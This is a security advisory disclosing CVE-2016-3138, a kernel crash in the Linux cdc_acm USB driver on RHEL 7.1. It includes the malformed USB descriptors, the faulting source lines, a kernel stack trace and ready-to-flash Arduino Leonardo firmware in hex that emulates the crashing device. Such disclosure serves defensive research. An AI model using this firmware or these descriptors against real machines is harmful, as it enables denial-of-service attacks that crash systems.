

# OS-S Security Advisory 2016-06

## Linux cdc\_acm Nullpointer Dereference

Date: March 4<sup>th</sup>, 2016

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CVE: CVE-2016-3138

CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)

Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (cdc\_acm driver)

Severity: Critical. The Kernel panics. A reboot is required.

Ease of Exploitation: Trivial

Vulnerability type: Wrong input validation

Products: RHEL 7.1 including all updates

Kernel-Version: 3.10.0-229.20.1.el7.x86\_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)

Vendor: Red Hat

Vendor contacted: November, 12<sup>th</sup> 2015

### Abstract:

The Kernel 3.10.0-229.20.1.el7.x86\_64 crashes on presentation of a buggy USB device requiring the cdc\_acm driver.

### Detailed product description:

We confirmed the bug on the following system:

- RHEL 7.1
- Kernel 3.10.0-229.20.1.el7.x86\_64

Further products or kernel versions have not been tested.

How reproducible: Always

Actual results: Kernel crashes.

### Description:

The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo ([github.com/schumilo](https://github.com/schumilo)) using the following device descriptor:

#### [\*] Device-Descriptor

bLength:	0x12
bDescriptorType:	0x1
bcdUSB:	0x200
bDeviceClass:	0x3
bDeviceSubClass:	0x0
bDeviceProtocol:	0x0
bMaxPacketSize:	0x40
idVendor:	0x482
idProduct:	0x203
bcdDevice:	0x100
iManufacturer:	0x1
iProduct:	0x2
iSerialNumbers:	0x3
bNumConfigurations:	0x1

This is the configuration descriptor containing only one interface descriptor.

The cdc-acm driver assumes that there will be at least two interface-descriptors with associated endpoint-descriptors.

Since the cdc-acm driver is expecting a second interface descriptor, the driver tries to dereference a null-pointer. This results in a crash of the system.

```

****
$ nm cdc-acm.ko.debug | grep acm_probe
0000000000001530 t acm_probe
$ addr2line -e cdc-acm.ko.debug 0x179C
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/usb/class/cdc-acm.c:1229
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/class/cdc-acm.c)
...
1093 /* handle quirks deadly to normal probing*/
1094 if (quirks == NO_UNION_NORMAL) {
1095     data_interface = usb_ifnum_to_if(usb_dev, 1); /* possible null-pointer */
1096     control_interface = usb_ifnum_to_if(usb_dev, 0);
1097     goto skip_normal_probe;
1098 }
...
1226 skip_normal_probe:
1227
1228 /*workaround for switched interfaces */
1229 if (data_interface->cur_altsetting->desc.bInterfaceClass /* null-pointer dereference */
1230     != CDC_DATA_INTERFACE_TYPE) {
1231     if (control_interface->cur_altsetting->desc.bInterfaceC
...
****

```

#### **[\*] Configuration-Descriptor**

```

bLength:                0x9
bDescriptorType:        0x2
wTotalLength:           0x27
bNumInterfaces:         0x1
bConfigurationValue:    0x1
iConfiguration:         0x0
bmAttributes:           0x0
bMaxPower:               0x31

```

#### **[\*] Interface-Descriptor**

```

bLength:                0x9
bDescriptorType:        0x4
bInterfaceNumber:       0x0
bAlternateSetting:      0x0
bNumEndpoints:         0x0
bInterfaceClass:        0x0
bInterfaceSubClass:     0x0
bInterfaceProtocol:     0x0

```

#### **[\*] Endpoint-Descriptor:**

```

bLength:                0x7
bDescriptorType:        0x5
bEndpointAddress:       0x81
bmAttributes:           0x3
wMaxPacketSize:         0x404
bInterval:              0xc

```

#### **[\*] Endpoint-Descriptor:**

```

bLength:                0x7
bDescriptorType:        0x5
bEndpointAddress:       0x1
bmAttributes:           0x2
wMaxPacketSize:         0x4
bInterval:              0xc

```

#### **[\*] Endpoint-Descriptor:**

```

bLength:                0x7
bDescriptorType:        0x5
bEndpointAddress:       0x82
bmAttributes:           0x1
wMaxPacketSize:         0x4
bInterval:              0xc

```

**Proof of Concept:**

For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device.

```
avrduide -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex
```

The firmware has been attached to this bug report.

To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3!

### Severity and Ease of Exploitation:

The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, only physical access to the system is required.

### Vendor Communication:

We contacted Red Hat on the November, 12<sup>th</sup> 2015.

To this day, no security patch was provided by the vendor.

Since our 90-day Responsible Discourse deadline is expired, we publish this Security Advisory.

### References:

- [https://bugzilla.redhat.com/show\\_bug.cgi?id=1283366](https://bugzilla.redhat.com/show_bug.cgi?id=1283366)

### Kernel Stacktrace:

```
[ 32.550821] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 32.765575] usb 1-1: New USB device found, idVendor=0482, idProduct=0203
[ 32.775042] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 32.780788] usb 1-1: Product: ĉ
[ 32.783389] usb 1-1: Manufacturer: ĉ
[ 32.786534] usb 1-1: SerialNumber: %
[ 32.794914] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc says 96 microframes
[ 32.850587] BUG: unable to handle kernel NULL pointer dereference at 0000000000000008
[ 32.851028] IP: [<ffffffa039479c>] acm_probe+0x26c/0x11d0 [cdc_acm]
[ 32.851028] PGD 0
[ 32.851028] Oops: 0000 [#1] SMP
[ 32.851028] Modules linked in: cdc_acm(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_contrack ebttable_nat
ebtable_broute bridge stp llc ebttable_filter ebtables ip6table_nat nf_contrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6
ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_contrack_ipv4 nf_defrag_ipv4
nf_nat_ipv4 nf_nat nf_contrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev
syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs
libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy
dm_mirror dm_region_hash dm_log dm_mod
[ 32.851028] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1
[ 32.851028] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-
project.org 04/01/2014
[ 32.851028] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[ 32.851028] RIP: 0010:[<ffffffa039479c>] [<ffffffa039479c>] acm_probe+0x26c/0x11d0 [cdc_acm]
[ 32.851028] RSP: 0018:ffff88000bd23b40 EFLAGS: 00010246
[ 32.851028] RAX: ffff88000c525800 RBX: 0000000000000000 RCX: ffff88000bd23fd8
[ 32.851028] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff88000c524c00
[ 32.851028] RBP: ffff88000bd23bd8 R08: 0000000000000001 R09: 0000000000000000
[ 32.851028] R10: 000000000002cad R11: ffffffff810020d8 R12: ffff88000c525800
[ 32.851028] R13: ffff88000f508692 R14: 0000000000000001 R15: ffff88000bcd0000
[ 32.851028] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000
[ 32.851028] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 32.851028] CR2: 0000000000000008 CR3: 000000000cb87000 CR4: 00000000000006f0
[ 32.851028] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 32.851028] DR3: 0000000000000000 DR6: 00000000ffff0f00 DR7: 0000000000000400
[ 32.851028] Stack:
[ 32.851028] ffff88000bd23ba8 ffff88000d6b3690 ffff88000bd23ba8 00000000436261cb
[ 32.851028] ffff88000bcd0090 0000000000000004 ffff88000bcd0090 0000000000000202
[ 32.851028] 0000001000000001 0000000000000200 0000000000000000 ffff88000bd23bd8
[ 32.851028] Call Trace:
[ 32.851028] [<fffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[ 32.851028] [<fffffff813d30d7>] driver_probe_device+0x87/0x390
[ 32.851028] [<fffffff813d34b3>] __driver_attach+0x93/0xa0
[ 32.851028] [<fffffff813d3420>] ? _device_attach+0x40/0x40
[ 32.851028] [<fffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[ 32.851028] [<fffffff813d2b2e>] driver_attach+0x1e/0x20
[ 32.851028] [<fffffff813d2680>] bus_add_driver+0x200/0x2d0
[ 32.851028] [<fffffff813d3b34>] driver_register+0x64/0xf0
[ 32.851028] [<fffffff8141c1c2>] usb_register_driver+0x82/0x160
```

```

[ 32.851028] [<fffffffa039d000>] ? 0xffffffffa039cfff
[ 32.851028] [<fffffffa039d0ba>] acm_init+0xba/0x1000 [cdc_acm]
[ 32.851028] [<ffffff810020e8>] do_one_initcall+0xb8/0x230
[ 32.851028] [<ffffff810dd0ee>] load_module+0x133e/0x1b40
[ 32.851028] [<ffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[ 32.851028] [<ffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[ 32.851028] [<ffffff810ddaa6>] Sys_finit_module+0xa6/0xd0
[ 32.851028] [<ffffff81614389>] system_call_fastpath+0x16/0x1b
[ 32.851028] Code: 5f 5d c3 0f 1f 40 00 48 83 7d d0 00 74 d4 44 39 6d c0 74 0d f6 05 66 4e 00 00 04 0f 85 0f 0e 00
00 48 39 5d d0 0f 84 ea 06 00 00 <48> 8b 43 08 80 78 05 0a 0f 84 fe 00 00 00 48 8b 45 d0 48 8b 40
[ 32.851028] RIP [<fffffffa039479c>] acm_probe+0x26c/0x11d0 [cdc_acm]
[ 32.851028] RSP <ffff8000bd23b40>
[ 32.851028] CR2: 0000000000000008
[ 33.237071] ---[ end trace b239663354a1c556 ]---
[ 33.237071] Kernel panic - not syncing: Fatal exception
[ 33.238044] drm_kms_helper: panic occurred, switching back to text console

```

### Arduino Leonardo Firmware:

```

:10000000C94A8000C94C5000C94C5000C94C50079
:100010000C94C5000C94C5000C94C5000C94C5004C
:100020000C94C5000C94C5000C94C4050C942F04CA
:100030000C94C5000C94C5000C94C5000C94C5002C
:100040000C94C5000C94C5000C94C5000C94C5001C
:100050000C94C5000C94C5000C94C5000C940E02C1
:100060000C94C5000C94C5000C94C5000C94C500FC
:100070000C94C5000C94C5000C94C5000C94C500EC
:100080000C94C5000C94C5000C94C5000C94C500DC
:100090000C94C5000C94C5000C94C5000C94C500CC
:1000A0000C94C5000C94C5000C94C5000B030E0302
:1000B000010305032F032F032F03120316031A0353
:1000C0000200324032F032A030000000200080E006F
:1000D00000030401000B00000000000000000000D
:1000E000000000000000004080201104080401020C1
:1000F00040804080080204018040201002011080EE
:10010000102040400404040404040403040502020217
:100110000403020202020206060606060604040202A0
:1001200002040000000002300260029002C002F00FC
:10013000000000000250028002B002E0031000000E8
:100140000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
:10016000B1E0E4EDF3E102C005900D92A436B107D1
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C
:10018000E1F70E94C8000C9404070C94000089545
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
:1001A000DEBF0FBECDBF0E94A1020E94C70060E06B
:1001B00083E00E94300361E087E00E94300361E049
:1001C00088E00E9430030E9459067E012AE9E20E6F
:1001D000F11C84E093E0D70111969C938E9389E003
:1001E00094E013969C938E93129782E2E2E1F1E001
:1001F0009E012F5F3F4F6901D90101900D928A95B1
:10020000E1F788E1E4E3F1E0DE01939601900D92DD
:100210008A95E1F782E1ECE4F1E0DE01DB96019002
:100220000D928A95E1F789E0EEE5F1E0DE01A05953
:10023000BF4F01900D928A95E1F72A593F4F99E0FF
:10024000992ED901E92D1D92EA95E9F78E010957FA
:100250001F4F87E0E7E6F1E0D80101900D928A9503
:10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189
:1002700001900D928A95E1F7AE0147585F4F87E0F4
:10028000E5E7F1E0DA0101900D928A95E1F75E0170
:10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D
:1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172
:1002B0001D92EA95E9F7E3E0DC011996EC93D90188
:1002C0009C92F4E01196FC9311971496EC93F9012B
:1002D000DC01292D01900D922A95E1F7FE01EC56E3
:1002E000FF4FDC011B96FC93EE931A971D96BC9270
:1002F000AE921C971183008373836283558344837A
:100300000C5211092CE0F80111922A95E9F721E02D

```

:10031000D80119962C931997FE01E059FF4F0190CF  
:10032000D929A94E1F7F8019387828761E088E063  
:10033000E9469038BE492E00E94650688E892E0DF  
:10034000E94650687EC92E00E94650686E093E0D5  
:10035000E94650682E493E00E9465068FE793E0C1  
:10036000E94650684EA93E00E9465068BEE93E0A6  
:10037000E94650683E00E949F03892B09F047C015  
:100380005E01F3E2AF0EB11C8824839482E1982EC3  
:1003900084E194E00E946506BF92AF92DF92CF9213  
:1003A000FF92EF921F928F921F930F932DB73EB73C  
:1003B000225131090FB6F8943EBF0FBE2DBFADB725  
:1003C000BEB71196FE01FB96892D01900D928A957C  
:1003D000E1F78DE695E00E94030668E873E180E0AE  
:1003E00090E00E947B028DE695E00E944E0660E060  
:1003F00087E00E94690368E873E180E090E00E9472  
:100400007B020FB6F894DEBF0FBECDBFC1CF6AE04E  
:1004100070E080E090E00E947B02ACCF1F920F92D0  
:10042000FB60F9211242F933F938F939F93AF9307  
:10043000BF938091650590916605A0916705B09185  
:1004400068053091640523E0230F2D3720F40196D1  
:10045000A11DB11D05C026E8230F0296A11DB11DE7  
:10046000209364058093650590936605A0936705C6  
:10047000B09368058091690590916A05A0916B051C  
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:100490006A05A0936B05B0936C05BF91AF919F91D6  
:1004A0008F913F912F910F900FBE0F901F90189535  
:1004B0003FB7F8948091690590916A05A0916B050A  
:1004C000B0916C0526B5A89B05C02F3F19F0019689  
:1004D000A11DB11D3FBF6627782F892F9A2F620F6C  
:1004E000711D811D911D42E0660F771F881F991FA6  
:1004F0004A95D1F70895CF92DF92EF92FF92CF9372  
:10050000DF936B017C010E945802EB01C114D104FE  
:10051000E104F10479F00E9458026C1B7D0B683EE7  
:100520007340A0F381E0C81AD108E108F108C8516E  
:10053000DC4FECCDF91CF91FF90EF90DF90CF9029  
:10054000895789484B5826084BD84B5816084BD4B  
:1005500085B5826085BD85B5816085BDEEE6F0E03C  
:10056000808181608083E1E8F0E010828081826098  
:100570008083808181608083E0E8F0E08081816019  
:100580008083E1E9F0E08081826080838081816006  
:100590008083E0E9F0E0808181608083E1ECF0E03D  
:1005A000808184608083808182608083808181609B  
:1005B0008083E3ECF0E0808181608083E0ECF0E018  
:1005C000808182608083E2ECF0E0808181608083C2  
:1005D000EAE7F0E0808184608083808182608083AC  
:1005E000808181608083808180688083089590E02D  
:1005F000FC013197EE30F10590F5EA5AFF4F0C946B  
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:1006100080938000089584B58F7702C084B58F7D64  
:1006200084BD0895809190008F7707C080919000DD  
:100630008F7D03C080919000877F80939000089504  
:100640008091C0008F7703C08091C0008F7D809320  
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:10068000FC01E25CFE4FA591B491805D9E4FFC01A0  
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:1006B0008C91322F309583238C938881822B888371  
:1006C00004C0F8948C91822B8C939FBDF91CF91C3  
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:1006E000282F30E0F901E853FF4F8491F901EA51D6  
:1006F000FF4F1491F901EC5FFE4F04910023C9F004  
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:10071000EE0FFF1FE05DFE4FA591B4919FB7F894D7  
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:10074000DF93282F30E0F901E853FF4F8491F9013E  
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:10077000EE5DFE4FA591B4912C912D2381E090E088  
:1007800021F480E002C080E090E0DF91CF910895F5  
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:1007C000FF920F931F93CF93DF93F82E8B01EA01D3  
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:1007F000609170057091710540916E0550916F0583  
:1008000064177507ACF49091E8009570E1F390914E  
:10081000E80092FD1CC0A093F100A0917005B0917A  
:1008200071051196AF73BB27AB2B11F48093E800D1  
:10083000A0917005B09171051196B0937105A093C8  
:1008400070052F5F3F4F3196CBCFC90102C08FEFAC  
:100850009FEFDF91CF911F910F91FF9008951F920D  
:100860000F920FB60F9211246F927F928F929F92E8  
:10087000AF92BF92CF92DF92EF92FF920F931F93AE  
:100880002F933F934F935F936F937F938F939F9398  
:10089000AF93BF93EF93FF93CF93DF93CDB7DEB7C3  
:1008A0006297DEBFCDBF1092E9008091E80083FF20  
:1008B00046C168E0CE010A960E94C80382EF809389  
:1008C000E8009A8597FF05C08091E80080FFCCF83  
:1008D00003C08EEF8093E800892F807609F023C152  
:1008E0008B85811105C01092F1001092F10020C19A  
:1008F000282F2D7F213009F41BC1853049F48091C8  
:10090000E80080FFCCF8C8580688093E30010C1F5  
:10091000863009F0E1C02D8508891989223009F057  
:10092000B3C0EC848E2D90E0209173053091740556  
:10093000821793070CF09FC00E94D5031F92EF927D  
:100940008DE394E09F938F930E9483068CE0E89E52  
:1009500070011124E0917505F0917605EE0DFF1DF3  
:1009600089E0DE01119601900D928A95E1F7C801A8  
:100970000E94D50349E050E0BE016F5F7F4F80E0E9  
:100980000E94E0030F900F900F900F900C12CD12C7C  
:10099000612C712C33E7A32E34E0B32E4AEA842E67  
:1009A00044E0942EE0917505F0917605EE0DFF1D63  
:1009B000818590E0681679060CF0BAC07F926F923C  
:1009C000BF92AF920E948306E0917505F091760583  
:1009D000EE0DFF1D628573856C0D7D1D49E050E0B5  
:1009E00080E00E94E0030F900F900F900F9000E0C6  
:1009F00010E0E0917505F0917605EE0DFF1D028483  
:100A0000F385E02DEC0DFD1D818590E00817190799  
:100A10005CF51F930F939F928F920E948306E09143  
:100A20007505F0917605EE0DFF1D0284F385E02D2E  
:100A3000EC0DFD1DC801880F991FA485B585A80F71  
:100A4000B91F4D915C910284F385E02DE80FF91FE9  
:100A50006081718180E00E94E0030F5F1F4F0F9063  
:100A60000F900F900F90C5CF8FEF681A780A8EE025  
:100A7000C80ED11C97CF8FED94E09F938F930E9467  
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